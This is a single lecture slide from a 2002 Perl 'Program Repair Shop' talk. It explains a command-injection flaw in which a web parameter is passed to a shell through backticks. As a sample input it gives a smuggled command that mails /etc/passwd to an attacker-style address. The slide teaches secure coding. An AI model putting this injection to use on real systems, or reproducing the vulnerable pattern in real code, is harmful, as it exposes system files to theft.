Next

Program Repair Shop

124

Shell Call Security Disaster

          $cmd = 'finger ' . param('arg'); 
          print `$cmd`;

• param('arg') is supplied by the web user

• What if they supply this peculiar username:

        `Mail arnoldb@treachery.com < /etc/passwd`

• Then $cmd is

        finger `Mail arnoldb@treachery.com < /etc/passwd`

• The shell runs the Mail command

• Oops

Next

Copyright © 2002 M. J. Dominus